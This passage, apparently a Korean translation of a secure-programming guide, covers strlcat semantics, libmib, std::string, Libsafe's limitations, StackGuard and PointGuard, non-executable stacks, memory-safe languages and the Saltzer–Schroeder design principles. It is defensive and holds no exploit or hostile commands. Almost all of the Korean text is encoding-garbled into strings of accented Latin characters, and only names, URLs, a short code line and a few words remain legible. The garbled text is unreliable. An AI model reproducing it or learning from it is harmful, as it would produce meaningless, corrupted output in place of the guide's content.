±ÔÄ¢µéÀ¸ µéÀ» ±¸Ã¼ÀûÀ¸·Î ¸í½ÃÇÏÁö ¾Ê¾Ò±â ¶§¹®¿¡ À̵éÀ» µû¸£Áö ¾Ê´Â´Ù. ÀúÀÚ´Â Todd Miller ¿¡°Ô ¸»ÇßÀ¸¸ç µÑ ¸ðµÎ OpenBSD ÀÇ¹Ì Ã¼°è°¡ ¿Ç´Ù´Â °Í¿¡ µ¿ÀÇÇÏ¿´´Ù (¼Ö¶ó¸®½º´Â ¿ÇÁö ¾Ê´Ù). Áõ¸íÀº °£´ÜÇÏ´Ù: ¾î¶°ÇÑ Á¶°ÇÇÏ¿¡¼­µµ strlcat ¶Ç´Â strlcpy °¡ Å©±â ¹üÀ§¹Û¿¡¼­ ¼ö½ÅÁö ³»ÀÇ ¹®ÀÚµéÀ» Á¶»çÇÏÁö ¾Ê¾Æ¾ß ÇÑ´Ù; ÀÌ·¯ÇÑ Á¢±ÙÀº ¹üÀ§°¡ ÃʰúµÈ ¸Þ¸ð¸®¸¦ Á¢±ÙÇÔÀ¸·Î½á ÄÚ¾î ´ýÇÁ¸¦ ¾ß±âÇÒ ¼öµµ ÀÖÀ¸¸ç ´õ ³ª¾Æ°¡¼­´Â ±â¾ï ÀåÄ¡ ´ëÀÀ ÀÔÃâ·Â (memory-mapped I/O) ¸¦ ÅëÇØ Çϵå¿þ¾î »óÈ£ÀÛ¿ëÀ» ¾ß±âÇÒ ¼öµµ ÀÖ´Ù. µû¶ó¼­, ´ÙÀ½°ú °°Àº °æ¿ì:

  a = strlcat ("Y", "123", 0);

Á¤È®ÇÑ ´äÀº 3 (0+3=3) ÀÌÁö¸¸ ¼Ö¶ó¸®½º´Â ¼ö½ÅÁö³»ÀÇ "Å©±â" ±æÀ̸¦ ³Ñ¾î¼­´Â ¹®ÀÚ¸¦ ºÎÁ¤È®ÇÏ°Ô º¸±â¶§¹®¿¡ ´äÀÌ 4 ¶ó°í ÁÖÀåÇÒ °ÍÀÌ´Ù. ¿ì¼± ÀúÀÚ´Â Å©±â°¡ 0 À̰ųª ¼ö½ÅÁö°¡ NIL ¹®ÀÚ¸¦ °®Áö ¾Ê´Â °æ¿ì¸¦ ÇÇÇ϶ó°í Á¦¾ÈÇÑ´Ù. glib ÀÇ ÇâÈÄ ¹öÀü¿¡¼­´Â ÀÌ Â÷À̰¡ ¾øÀ» °ÍÀÌ¸ç ´Ã OpenBSD ÀÇ ÀÇ¹Ì Ã¼°è¸¦ »ç¿ëÇÒ °ÍÀÌ´Ù.


5.2.4. libmib

ÀÚµ¿ÀûÀ¸·Î ¹®ÀÚ¿­À» µ¿ÀûÀ¸·Î ÀçÇÒ´çÇÏ´Â C ÀÇ ÇѰ¡Áö Åø¼ÂÀº ``libmib ÇÒ´ç ¹®ÀÚ¿­ ÇÔ¼ö" ÀÌ´Ù. ÀÌ´Â Forrest J. Cavalier III ¿¡ ÀÇÇÑ °ÍÀ¸·Î http://www.mibsoftware.com/libmib/astring ¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù. libmib ¿¡´Â µÎ°¡Áö º¯ÇüÀÌ Àִµ¥ ``libmib-open" Àº ¼öÁ¤°ú Àç¹èÆ÷¸¦ Çã¿ëÇÏ´Â X11°ú À¯»çÇÑ ¶óÀ̼¾½ºÇÏÀÇ ¿ÀÇ ¼Ò½ºÃ³·³ º¸ÀÌÁö¸¸ Àç¹èÆ÷½Ã ´Ù¸¥ À̸§À» ¼±ÅÃÇØ¾ß ÇÑ´Ù. ±×·¯³ª °³¹ßÀÚ´Â À̰ÍÀÌ ``¿Ïº®È÷ °Ë»çµÇÁö ¾Ê¾ÒÀ» Áöµµ ¸ð¸¥´Ù" ¶ó°í ¸»Çϰí ÀÖ´Ù. °è¼ÓÇØ¼­ ¹ßÀüµÈ libmib ¸¦ ¾ò±â À§Çؼ­´Â °¡ÀÔÀ» À§ÇØ µ·À» ÁöºÒÇØ¾ß ÇÑ´Ù. ¹®¼­´Â ¿ÀǼҽº°¡ ¾Æ´ÏÁö¸¸ ÀÚÀ¯·ÎÀÌ »ç¿ëÇÒ ¼ö ÀÖ´Ù.


5.2.5. C++ std::string class

C++ °³¹ßÀÚ´Â ³»ÀåµÇ¾î ÀÖ´Â std::string Ŭ·¡½º¸¦ »ç¿ëÇÒ ¼ö ÀÖ´Ù. ÀÌ´Â ½ºÅ丮Áö°¡ ÇÊ¿äÇѸ¸Å­ Ä¿Áö´Â µ¿ÀûÀÎ Á¢±Ù ¹æ¹ýÀÌ´Ù. ±×·¯³ª ÀÌ Å¬·¡½ºÀÇ µ¥ÀÌŸ°¡ ¹öÆÛ ¿À¹öÇÃ·Î¿ì ¹®Á¦°¡ ¹ß»ýÇÒ ¼ö ÀÖ´Â ``char *" ·Î ¼Ò¸®¾øÀÌ º¯È¯µÉ ¼ö ÀÖÀ½À» ¾ð±ÞÇÏ´Â °ÍÀº Áß¿äÇÏ´Ù. µû¶ó¼­ ÀÌ Å¬·¡½º·ÎºÎÅÍ º¯È¯ÇÒ ¶§ ÁÖÀÇÇÒ Çʿ䰡 ÀÖ´Ù.


5.2.6. Libsafe

·ç½¼Æ® Å×Å©³î·ÎÁö»çÀÇ Arash Baratloo, Timothy Tsai ¿Í Navjot Singh ´Â stack smashing °ø°Ý¿¡ Ãë¾àÇÏ´Ù°í ¾Ë·ÁÁø ¸î°¡Áö ¶óÀ̺귯¸® ÇÔ¼öÀÇ wrapper ÀÎ Libsafe ¸¦ °³¹ßÇß´Ù. ÀÌ wrapper (À̵éÀº ¹Ìµé¿þ¾î¶ó°í ºÎ¸¥´Ù) ´Â strcpy(3) °ú °°Àº C ¶óÀ̺귯¸® ÇÔ¼öÀÇ ¼öÁ¤ ¹öÀüÀ» Æ÷ÇÔÇÑ °£´ÜÇÑ µ¿Àû ÀûÀç ¶óÀ̺귯¸®·Î ÀÌ ¼öÁ¤ ¹öÀüÀº ¿ø·¡ ±â´É¼ºÀ» ±¸ÇöÇÏÁö¸¸ ¸ðµç ¹öÆÛ ¿À¹öÇ÷ο찡 ÇöÀç ½ºÅà ÇÁ·¹ÀÓ³»¿¡ Æ÷ÇԵǾî ÀÖÀ½À» º¸ÀåÇÏ´Â ¹æ½ÄÀ¸·Î ±¸ÇöµÇ¾î ÀÖ´Ù. Ãʱ⠼º´É ºÐ¼®Àº ÀÌ ¶óÀ̺귯¸®ÀÇ ¿À¹öÇìµå°¡ ¸Å¿ì ÀÛ´Ù°í Á¦¾ÈÇÑ´Ù. Libsafe ³í¹®°ú ¼Ò½º ÄÚµå´Â http://www.bell-labs.com/org/11356/libsafe.html ¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù. Libsafe ¼Ò½ºÄÚµå´Â ¿ÏÀüÇÑ ¿ÀÇÁ ¼Ò½º LGPL ¶óÀ̼¾½ºÇÏ¿¡ ¾òÀ» ¼ö ÀÖÀ¸¸ç ¸¹Àº ¸®´ª½º ¹èÆ÷¾÷üµéÀÌ À̸¦ »ç¿ëÇÏ·Á°í Çϰí ÀÖ´Ù.

Libsafe ÀÇ Á¢±Ù ¹æ¹ýÀº ¾î´À Á¤µµ À¯¿ëÇÑ °Íó·³ º¸ÀδÙ. Libsafe ´Â ¸®´ª½º ¹èÆ÷¾÷ÀÚ¿¡ ÀÇÇÑ Æ÷ÇÔÀÌ È®½ÇÈ÷ °í·ÁµÇ°í ÀÖÀ¸¸ç ¶ÇÇÑ ´Ù¸¥ Á¡¿¡ ÀÇÇØ¼­µµ °í·ÁÇÒ °¡Ä¡°¡ ÀÖ´Ù. ¿¹¸¦ µé¾î ÀúÀÚ´Â ¸Çµå·¹ÀÌÅ© 7.1 ¹öÀüÀÌ À̸¦ Æ÷ÇÔÇÔÀ» ¾Ë°í ÀÖ´Ù. ±×·¯³ª ¼ÒÇÁÆ®¿þ¾î °³¹ßÀڷμ­ Libsafe ´Â öÀúÇÑ ¹æ¾î (defense-in-depth) ¸¦ Áö¿øÇÏ´Â À¯¿ëÇÑ ¸ÞÄ«´ÏÁòÀ̸¸ ½ÇÁ¦·Î ¹öÆÛ ¿À¹öÇ÷ο츦 ¿¹¹æÇÏÁö´Â ¸øÇÑ´Ù. ÄÚµå °³¹ßµ¿¾È¿¡ Libsafe ¿¡¸¸ ÀÇÁ¸ÇÏÁö ¾Ê¾Æ¾ß ÇÒ ¸î°¡Áö ÀÌÀ¯°¡ ´ÙÀ½¿¡ ¼³¸íµÈ´Ù:

  • Libsafe ´Â ´ÜÁö ¸í¹éÇÑ ¹öÆÛ ¿À¹öÇÃ·Î¿ì ¹®Á¦¸¦ °®´Â ÀûÀº ¼öÀÇ ¾Ë·ÁÁø ÇÔ¼ö¸¸À» º¸È£ÇÑ´Ù. ÀÌ ¹®¼­ ÀÛ¼º½ÃÁ¡¿¡¼­ ÀÌ ¸ñ·ÏÀº ÀÌ ¹®Á¦°¡ ÀÖ´Ù°í ¾Ë·ÁÁø ÀÌ Ã¥¿¡ ÀÖ´Â ÇÔ¼ö ¸ñ·Ïº¸´Ù »ó´çÈ÷ Àû´Ù. ¶ÇÇÑ ¹öÆÛ ¿À¹öÇ÷ο츦 ¾ß±âÇÏ´Â °¢ÀÚ°¡ ÀÛ¼ºÇÑ Äڵ忡 ´ëÇØ º¸È£¸¦ ÇÏÁö ¸øÇÒ °ÍÀÌ´Ù (¿¹, while ·çÇÁ).

  • libsafe °¡ ¹èÆ÷ÆÇ¿¡ ¼³Ä¡µÇ¾î ÀÖ´õ¶óµµ ¼³Ä¡µÈ ¹æ½ÄÀÌ »ç¿ë¿¡ ¿µÇâÀ» ¹ÌÄ£´Ù. ¹®¼­´Â libsafe ÀÇ º¸È£ ±â´ÉÀ» µ¿ÀÛÇϵµ·Ï LD_PRELOAD ¸¦ ¼³Á¤ÇÒ °ÍÀ» ÃßõÇÏÁö¸¸ ¹®Á¦´Â »ç¿ëÀÚ°¡ ÀÌ È¯°æ º¯¼öÀÇ ¼³Á¤À» ÇØÁ¦ÇÒ ¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù. µû¶ó¼­ º¸È£ ±â´ÉÀÌ ±ÝÁöµÇ´Â °ÍÀÌ´Ù.

  • Libsafe ´Â ¹Ýȯ ÁÖ¼Ò·ÎÀÇ ½ºÅÃÀÇ ¿À¹öÇ÷ο쿡 ´ëÇØ¼­¸¸ º¸È£¸¦ ÇÑ´Ù; ¾ÆÁ÷µµ ÇÁ·Î½ÃÁ® ÇÁ·¹ÀÓ¿¡¼­ Èü ¶Ç´Â ´Ù¸¥ º¯¼öµéÀ» ¿À¹ö·±½Ãų ¼ö ÀÖ´Ù.

  • ¸ðµç »ç¿ëµÇ°í ÀÖ´Â Ç÷§ÆûÀÌ libsafe (¶Ç´Â ÀÌ¿Í À¯»çÇÑ) ¸¦ »ç¿ëÇÒ °ÍÀ̶ó°í º¸ÀåÇÏÁö ¸øÇÑ´Ù¸é libsafe °¡ ¾øÀ» ¶§Ã³·³ ÇÁ·Î±×·¥À» º¸È£ÇØ¾ß ÇÒ °ÍÀÌ´Ù.

  • Libsafe ´Â À¯º¸µÈ (saved) ÇÁ·¹ÀÓ Æ÷ÀÎÅͰ¡ °¢ ½ºÅà ÇÁ·¹ÀÓÀÇ Ã³À½¿¡ ÀÖ´Ù°í °¡Á¤ÇÑ µíÇÏ´Ù. À̰ÍÀÌ ´Ã ¿ÇÀº °ÍÀº ¾Æ´Ï´Ù. gcc ¿Í °°Àº ÄÄÆÄÀÏ·¯´Â ÃÖÀûÈ­¸¦ ÇÒ °ÍÀÌ¸ç Æ¯È÷ -fomit-frame-pointer ¿É¼ÇÀº libsafe °¡ ÇÊ¿äÇÒ °Í °°Àº Á¤º¸¸¦ Á¦°ÅÇÑ´Ù. µû¶ó¼­ libsafe °¡ ¾î¶² ÇÁ·Î±×·¥¿¡ ´ëÇØ¼­´Â ÀÛµ¿ÇÏÁö ¾ÊÀ» ¼öµµ ÀÖ´Ù.

Libsafe °³¹ßÀÚ ÀÚ½ÅÀº ¼ÒÇÁÆ®¿þ¾î °³¹ßÀÚ°¡ libsafe ¸¸ ÀÇÁ¸Çؼ­´Â ¾ÈµÈ´Ù¶ó°í ÀÎÁ¤Çϰí ÀÖ´Ù. ´ÙÀ½Àº À̵éÀÇ ¸»ÀÌ´Ù:

¹öÆÛ ¿À¹öÇÃ·Î¿ì °ø°Ý¿¡ ´ëÇÑ ÃÖ»óÀÇ ÇØ°áÃ¥Àº °áÇÔÀÖ´Â ÇÁ·Î±×·¥À» ¼öÁ¤ÇÏ´Â °ÍÀ̶ó°í ÀϹÝÀûÀ¸·Î ¹Þ¾Æµé¿©Áö°í ÀÖ´Ù. ±×·¯³ª °áÇÔÀÖ´Â ÇÁ·Î±×·¥À» ¼öÁ¤ÇÏ´Â °ÍÀº Ưº°ÇÑ ÇÁ·Î±×·¥ÀÌ °áÇÔÀÌ ÀÖ´Ù´Â °ÍÀ» ¾Ë¾Æ¾ß¸¸ ÇÑ´Ù. libsafe ¹× ´Ù¸¥ ´ë¾È º¸¾È Á¶Ä¡¸¦ »ç¿ëÇÔÀ¸·Î½á ¾ò°Ô µÇ´Â ÀÌÀÍÀº ¾ÆÁ÷±îÁö Ãë¾àÇÏ´Ù°í ¾Ë·ÁÁöÁö ¾ÊÀº ÇÁ·Î±×·¥¿¡ ´ëÇÑ ¹Ì·¡ÀÇ °ø°Ý¿¡ ´ëÇÑ º¸È£ÀÌ´Ù.


5.2.7. ´Ù¸¥ ¶óÀ̺귯¸®

glibc °¡ ¾Æ´Ñ glib ¶óÀ̺귯¸®´Â C ÇÁ·Î±×·¡¸Ó¿¡°Ô ¸¹Àº À¯¿ëÇÑ ÇÔ¼ö¸¦ Á¦°øÇϰí ÀÖ´Â ³Î¸® »ç¿ëµÉ ¼ö ÀÖ´Â ¿ÀÇ ¼Ò½º ¶óÀ̺귯¸®ÀÌ´Ù. GTK+ °ú GNOME ¸ðµÎ glib ¸¦ »ç¿ëÇÑ´Ù. ¾Õ¿¡¼­ ¾ð±ÞÇÑ ¹Ù¿Í °°ÀÌ glib ¹öÀü 1.3.2 ¿¡ ÀúÀÚ°¡ Á¦ÃâÇÑ ÆÐÄ¡¸¦ ÅëÇØ g_strlcpy() ¿Í g_strlcat() °¡ Ãß°¡µÇ¾ú´Ù. ÀÌ´Â glib ÀÇ ³ªÁß ¹öÀüÀÌ »ç¿ëµÉ ¼ö Àֱ⸸ ÇÏ´Ù¸é ÀÌ·¯ÇÑ ÇÔ¼ö¸¦ À̽ļºÀÖ°Ô »ç¿ëÇÏ´Â °ÍÀ» ´õ¿í ½±°Ô ÇÑ´Ù. ÇöÀç ½ÃÁ¡¿¡¼­ ÀúÀÚ´Â glib ¶óÀ̺귯¸® ÇÔ¼ö°¡ ¹öÆÛ ¿À¹öÇ÷ο쿡 ´ëÇØ º¸È£ÇÔÀ» ¸í¹éÈ÷ º¸ÀÌ´Â ºÐ¼®À» ÇÏÁö ¾Ê¾Ò´Ù. ±×·¯³ª ¸¹Àº glib ÇÔ¼ö´Â ÀÚµ¿ÀûÀ¸·Î ¸Þ¸ð¸®¸¦ ÇÒ´çÇϸç ÀÚµ¿ÀûÀ¸·Î ½ÇÆÐ¸¦ °¡·Îç ¾î¶°ÇÑ ÇÕ´çÇÑ ¹æ½ÄÀÌ ¾øÀÌ ½ÇÆÐÇÑ´Ù (¿¹, ´ë½Å ´Ù¸¥ ¾î¶² °ÍÀ» ÇÏ·Á°í ÇÔÀÌ ¾øÀÌ). ±× °á°ú·Î ¸¹Àº °æ¿ì¿¡ ÀÖ¾î ´ëºÎºÐÀÇ glib ÇÔ¼ö´Â ´ëºÎºÐÀÇ º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥¿¡ »ç¿ëµÉ ¼ö ¾ø´Ù. GNOME ÁöħÀº g_strdup_printf() ¿Í °°Àº ÇÔ¼ö »ç¿ëÀ» ÃßõÇϴµ¥ ÀÌ´Â ¸Þ¸ð¸® °í°¥ÀÌ ¹ß»ýÇÒ ¶§ ÇÁ·Î±×·¥ÀÌ Áï°¢ÀûÀ¸·Î Å©·¡½¬Çصµ ¹«¹æÇÏ´Ù¸é ÁÁ´Ù. ±×·¯³ª À̸¦ ¹Þ¾ÆµéÀÏ ¼ö ¾ø´Ù¸é ÀÌ·± ·çƾÀ» »ç¿ëÇÏ´Â °ÍÀº ÀûÀýÇÏÁö ¸øÇÏ´Ù.


5.3. C/C++ ¿¡¼­ÀÇ ÄÄÆÄÀÏ ¼Ö·ç¼Ç

¿ÏÀüÈ÷ ´Ù¸¥ Á¢±Ù ¹æ¹ýÀº °æ°è °Ë»ç¸¦ ÇÏ´Â ÄÄÆÄÀÏ ¹æ¹ýÀ» »ç¿ëÇÏ´Â °ÍÀÌ´Ù ([Sitaker 1999] ¸¦ ÂüÁ¶Çضó). ÀúÀÚ ÀǰßÀ¸·Î´Â ÀÌ·¯ÇÑ µµ±¸´Â ´Ù¼öÀÇ º¸È£ °èÃþ¸¦ °®´Â °æ¿ì ¸Å¿ì À¯¿ëÇÏÁö¸¸ À¯ÀÏÇÑ º¸È£Ã¥À¸·Î ÀÌ ±â¹ýÀ» »ç¿ëÇÏ´Â °ÍÀº Çö¸íÇÏÁö ¾Ê´Ù. ÀÌ¿¡ ´ëÇØ¼­´Â Àû¾îµµ µÎ°¡Áö ÀÌÀ¯°¡ ÀÖ´Ù. ¿ì¼± ´ëºÎºÐÀÇ ÀÌ·¯ÇÑ µµ±¸µéÀº ¹öÆÛ ¿À¹öÇ÷ο쿡 ´ëÇÑ ºÎºÐÀûÀÎ º¸È£¸¸À» Á¦°øÇÑ´Ù (¿ÏÀüÇÑ º¸È£´Â ÀϹÝÀûÀ¸·Î 12-30 ¹è Á¤µµ ´À¸®´Ù); C ¿Í C++ Àº ´Ü¼øÈ÷ ¹öÆÛ ¿À¹öÇ÷ο쿡 ´ëÇØ º¸È£Çϵµ·Ï ¼³°èµÇÁö ¾Ê¾Ò´Ù. µÎ¹øÂ° ¿ÀÇ ¼Ò½º ÇÁ·Î±×·¥¿¡ ´ëÇØ ÇÁ·Î±×·¥À» ÄÄÆÄÀÏÇϱâ À§ÇØ ¾î¶² µµ±¸°¡ »ç¿ëµÉ °ÍÀ̶ó´Â °ÍÀ» È®½ÅÇÒ ¼ö ¾ø´Ù; ÁÖ¾îÁø ½Ã½ºÅÛ¿¡ ´ëÇØ¼­ ``Åë»óÀûÀÎ" ÄÄÆÄÀÏ·¯¸¦ »ç¿ëÇÏ´Â °ÍÀÌ °©Àڱ⠺¸¾È °áÇÔÀ» Á¦°øÇÒ ¼öµµ ÀÖ´Ù.

°¡Àå À¯¿ëÇÑ µµ±¸ÁßÀÇ Çϳª´Â Ç¥ÁØ GNU C ÄÄÆÄÀÏ·¯ gcc ¸¦ ¼öÁ¤ÇÑ "StackGuard" ÀÌ´Ù. StackGuard ´Â ``canary" ¶ó°í ºÒ¸®´Â ``guard" °ªÀ» ¹Ýȯ ÁÖ¼Ò ¾Õ¿¡ Ãß°¡ÇÔÀ¸·Î½á ÀÛµ¿ÇÑ´Ù; ¹öÆÛ ¿ÀÆÛÇ÷ο찡 ¹Ýȯ ÁÖ¼Ò¸¦ °ãÃľ²¸é canary °ªÀÌ º¯°æµÇ¾î ½Ã½ºÅÛÀº À̸¦ »ç¿ëÇϱâ Àü¿¡ À̸¦ ŽÁöÇÑ´Ù. ÀÌ´Â ¸Å¿ì À¯ÀÍÇÏÁö¸¸ ´Ù¸¥ °ªÀ» °ãÃľ²´Â ¹öÆÛ ¿À¹öÇÃ·Î¿ì °ø°ÝÀ» ¿¹¹æÇÏÁö´Â ¸øÇÑ´Ù. canary ¸¦ ``PointGuard" ¶ó°í ºÒ¸®´Â ´Ù¸¥ µ¥ÀÌŸ ¾ÆÀÌÅÛ¿¡ Ãß°¡ÇÒ ¼ö ÀÖµµ·Ï StackGuard ¸¦ È®ÀåÇÑ ÀÛ¾÷ÀÌ ÀÖ´Ù. PointGuard ´Â ÀÚµ¿ÀûÀ¸·Î ƯÁ¤ °ªÀ» º¸È£ÇÒ °ÍÀÌ´Ù (¿¹, ÇÔ¼ö Æ÷ÀÎÅÍ ¹× longjump ¹öÆÛ). ±×·¯³ª PointGuard ¸¦ »ç¿ëÇØ¼­ ´Ù¸¥ º¯¼ö ŸÀÔÀ» º¸È£Çϱâ À§Çؼ­´Â ƯÁ¤ ÇÁ·Î±×·¡¸ÓÀÇ ÁßÀ縦 ÇÊ¿ä·Î ÇÑ´Ù (ÇÁ·Î±×·¡¸Ó´Â canary ¸¦ ÀÌ¿ëÇØ ¾î¶² µ¥ÀÌŸ °ªÀÌ º¸È£µÇ¾î¾ß ÇÏ´Â Áö¸¦ ½Äº°ÇØ¾ß ÇÑ´Ù). ÀÌ´Â À¯ÀÍÇÒ ¼ö ÀÖÁö¸¸ º¸È£°¡ ÇÊ¿äÇÏ´Ù°í (±×·¯³ª ¾î¶µç º¸È£°¡ ÇÊ¿äÇÑ) »ý°¢ÇÏÁö ¸øÇß´ø µ¥ÀÌŸ °ª¿¡ ´ëÇÑ º¸È£¸¦ ¿ì¿¬È÷ »ý·«ÇϱⰡ ½±´Ù . StackGuard, PointGuard ¹× ´Ù¸¥ ´ë¾È¿¡ ´ëÇØ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â Cowan [1999] ¸¦ ÂüÁ¶Çضó.

°ü·Ã ¹®Á¦·Î½á ¸®´ª½º¿¡¼­´Â Ä¿³ÎÀ» ¼öÁ¤Çؼ­ ½ºÅà ¼¼±×¸ÕÆ®¸¦ ½ÇÇàºÒ°¡´ÉÇÏ°Ô ¸¸µé ¼ö ÀÖ´Ù; ÀÌ·¯ÇÑ ÆÐÄ¡°¡ Á¸ÀçÇÑ´Ù (Solar Designer ÀÇ ÆÐÄ¡¸¦ º¸¶ó http://www.openwall.com/linux/ ). ±×·¯³ª ÀÌ ¹®¼­ ÀÛ¼º ½ÃÁ¡¿¡¼­ ÀÌ´Â ¸®´ª½º Ä¿³Î³»·Î ±¸ÃàµÇÁö ¾Ê¾Ò´Ù. ÀÌ ±Ùº»Àû ÀÌÀ¯ÀÇ ÀϺκÐÀº À̰ÍÀÌ »ý°¢ÇÏ´Â °Í¸¸Å­ º¸È£¸¦ ÇÏÁö ¾Ê´Â´Ù´Â °ÍÀÌ´Ù; °ø°ÝÀÚ°¡ °£´ÜÈ÷ ½Ã½ºÅÛÀ¸·Î ÇÏ¿©±Ý ÇÁ·Î±×·¥³» ´Ù¸¥ ``interesting" À§Ä¡¸¦ È£ÃâÇϵµ·Ï ÇÒ ¼ö ÀÖ´Ù (¿¹, ¶óÀ̺귯¸®, Èü ¶Ç´Â Á¤Àû µ¥ÀÌŸ ¼¼±×¸ÕÆ®³»). ¶ÇÇÑ ¶§¶§·Î ¸®´ª½º¿¡¼­´Â ¿¹¸¦ µé¾î ½Ã±×³Î ¹× GCC ``trampolines" ¸¦ ±¸ÇöÇϱâ À§ÇÑ °æ¿ì¿Í °°ÀÌ ½ºÅÿ¡ ½ÇÇà°¡´ÉÇÑ Äڵ尡 ÀÖ¾î¾ß ÇÑ´Ù. Solar Designer ÆÐÄ¡´Â ÀÌ·± °æ¿ì¸¦ ´Ù·çÁö¸¸ ÆÐÄ¡¸¦ º¹ÀâÇÏ°Ô ¸¸µç´Ù. °³ÀÎÀûÀ¸·Î ÀúÀÚ´Â À̰ÍÀÌ ¾î´ÀÁ¤µµ °ø°ÝÀ» ¾î·Æ°Ô ¸¸µé°í ±âÁ¸ÀÇ ´Ù¾çÇÑ °ø°Ýµé¿¡ ´ëÇØ º¸È£Çϱ⠶§¹®¿¡ ÁÖ¿ä ¸®´ª½º ¹èÆ÷ÆÇ¿¡ °áÇյǴ °ÍÀ» º¸°í ½Í´Ù. ±×·¯³ª ÀúÀÚ´Â À̰ÍÀÌ »ý°¢ÇÏ´Â °Í¸¸Å­ ¸¹Àº º¸È£¸¦ Ãß°¡ÇÏÁö ¸øÇÏ¸ç ºñ±³Àû ½±°Ô ¶Õ¾îÁú ¼ö ÀÖ´Ù´Â ¸®´©½º Åä¹ßÁî¿Í ´Ù¸¥ ÀÌ¿¡ µ¿ÀÇÇÑ´Ù. http://lwn.net/980806/a/linus-noexec.html ¿¡¼­ ÀÌ Áö¿øÀ» Æ÷ÇÔÇÏÁö ¾Ê´Â ¸®´©½º Åä¹ßÁîÀÇ ¼³¸íÀ» ÀÐÀ» ¼ö ÀÖ´Ù.

¿ä¾àÇϸé ÀÚüÀûÀ¸·Î ¹öÆÛ ¿À¹öÇ÷ο츦 º¸È£ÇÏ´Â Á¤È®ÇÑ ÇÁ·Î±×·¥À» °³¹ßÇÏ´Â µ¥ ¿ì¼±ÀûÀ¸·Î ÁßÁ¡À» µÎ´Â °ÍÀÌ ´õ¿í ÁÁ´Ù. µû¶ó¼­ ¿©·¯ºÐÀÌ À̸¦ ´Ù ÀÐÀº ÈÄ ¹Ýµå½Ã Ãß°¡ÀûÀÎ ¾ÈÀü¸ÁÀ¸·Î½á StackGuard ¿Í °°Àº ±â¹ý ¹× µµ±¸¸¦ »ç¿ëÇØ¶ó. ÄÚµå ÀÚü¿¡¼­ ¹öÆÛ ¿À¹öÇ÷ο츦 Á¦°ÅÇϱâ À§ÇØ ´õ¿í ´õ ÀÛ¾÷ÇÑ´Ù¸é º¸È£¸¦ À§ÇØ StackGuard °¡ È£ÃâµÉ "¾àÁ¡"Àº ¾øÀ» °ÍÀ̱⶧¹®¿¡ StackGuard ´Â ´õ¿í ´õ È¿°úÀûÀÏ °Í°°´Ù.


5.4. ´Ù¸¥ ¾ð¾î

¹öÆÛ ¿À¹öÇÃ·Î¿ì ¹®Á¦´Â ÆÞ, ÆÄÀ̽ã, ÀÚ¹Ù ¹× ¾Æ´Ù95 ¿Í °°Àº ´Ù¸¥ ÇÁ·Î±×·¡¹Ö ¾ð¾î¸¦ »ç¿ëÇÏÀÚ´Â ÁÖÀå¿¡ ´ëÇÑ ÈǸ¢ÇÑ ÀÌÀ¯ÀÌ´Ù. °á±¹ ¿À´Ã³¯ »ç¿ëµÇ´Â °ÅÀÇ ¸ðµç ÇÁ·Î±×·¡¹Ö ¾ð¾î (¾î¼Àºí·¯ÀÌ¿ÜÀÇ) µéÀº ¹öÆÛ ¿À¹öÇ÷ο츦 ¿¹¹æÇÑ´Ù. ÀÌ·¯ÇÑ ´Ù¸¥ ¾ð¾î¸¦ »ç¿ëÇÑ´Ù°í ÇØ¼­ ¸ðµç ¹®Á¦¸¦ Á¦°ÅÇÏ´Â °ÍÀº ¹°·Ð ¾Æ´Ï´Ù; ƯÈ÷ NIL ¹®ÀÚ¿Í °ü·ÃÇØ¼­ 7.2절 ÀÇ ³íÀǸ¦ º¸¶ó. ±×·¯ÇÑ ´Ù¸¥ ¾ð¾îÀÇ ÀÎÇÁ¶ó (¿¹, ·±Å¸ÀÓ ¶óÀ̺귯¸®) ¸¦ ¾µ ¼ö ÀÖ°í ÀÌ ÀÎÇÁ¶ó°¡ ¾ÈÀüÇÔÀ» º¸ÀåÇØ¾ß ÇÏ´Â ´Ù¸¥ ¹®Á¦°¡ ÀÖ´Ù. ¿©·¯ºÐÀº ¹öÆÛ ¿À¹öÇ÷ο츦 ¿¹¹æÇÏ´Â º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥À» °³¹ßÇÒ ¶§ ´Ù¸¥ ÇÁ·Î±×·¡¹Ö ¾ð¾î¸¦ »ç¿ëÇÏ´Â °ÍÀ» È®½ÇÈ÷ °í·ÁÇØ¾ß ÇÑ´Ù.


6장. ÇÁ·Î±×·¥ ³»ºÎ ±¸Á¶È­ ¹× Á¢±Ù ¹æ¹ý

 

Like a city whose walls are broken down is a man who lacks self-control.

 Proverbs 25:28 (NIV)

6.1. º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥¿¡ ´ëÇØ ÈǸ¢ÇÑ ¼ÒÇÁÆ®¿þ¾î ¿£Áö´Ï¾î¸µ ¿ø¸®¸¦ µû¸£¶ó

Saltzer [1974] ¿Í ³ªÁß¿¡ Saltzer °ú Schroeder [1975] ´Â º¸¾ÈÀûÀÎ º¸È£ ½Ã½ºÅÛ ¼³°è ¿ø¸®¿¡ ´ëÇÑ ´ÙÀ½ ¸ñ·ÏÀ» ÀÛ¼ºÇߴµ¥ ÀÌ´Â ÇöÀç±îÁöµµ À¯È¿ÇÏ´Ù:

  • ÃÖ¼ÒÇÑÀÇ ±ÇÇÑ (Least privilege). °¢ »ç¿ëÀÚ¿Í ÇÁ·Î±×·¥Àº °¡´ÉÇÑ ÃÖ¼ÒÇÑÀÇ ±ÇÇÑÀ» »ç¿ëÇÏ¿© ÀÛµ¿ÇØ¾ß ÇÑ´Ù. ÀÌ ¿ø¸®´Â »ç°í, ¿¡·¯ ¶Ç´Â °ø°ÝÀ¸·ÎºÎÅÍÀÇ ¼Õ»óÀ» Á¦ÇÑÇÏ¸ç ¶ÇÇÑ ±ÇÇÑÀ» °®´Â ÇÁ·Î±×·¥°£ÀÇ ÀáÀçÀûÀÎ »óÈ£ÀÛ¿ëÀÇ ¼ö¸¦ ÀúÇϽôµ¥ µû¶ó¼­ ÀǵµµÇÁö ¾ÊÀº, ¿øÇÏÁö ¾ÊÀº ¶Ç´Â ºÎÀûÀýÇÑ ±ÇÇÑ »ç¿ëÀÌ ´ú ÀϾ°Ô ÇÒ °ÍÀÌ´Ù. ÀÌ °³³äÀº ÇÁ·Î±×·¥ÀÇ ³»ºÎ·Î È®ÀåµÉ ¼ö Àִµ¥ ÀÌ·¯ÇÑ ±ÇÇÑÀ» ÇÊ¿ä·ÎÇÏ´Â ÇÁ·Î±×·¥ÀÇ °¡Àå ÀÛÀº 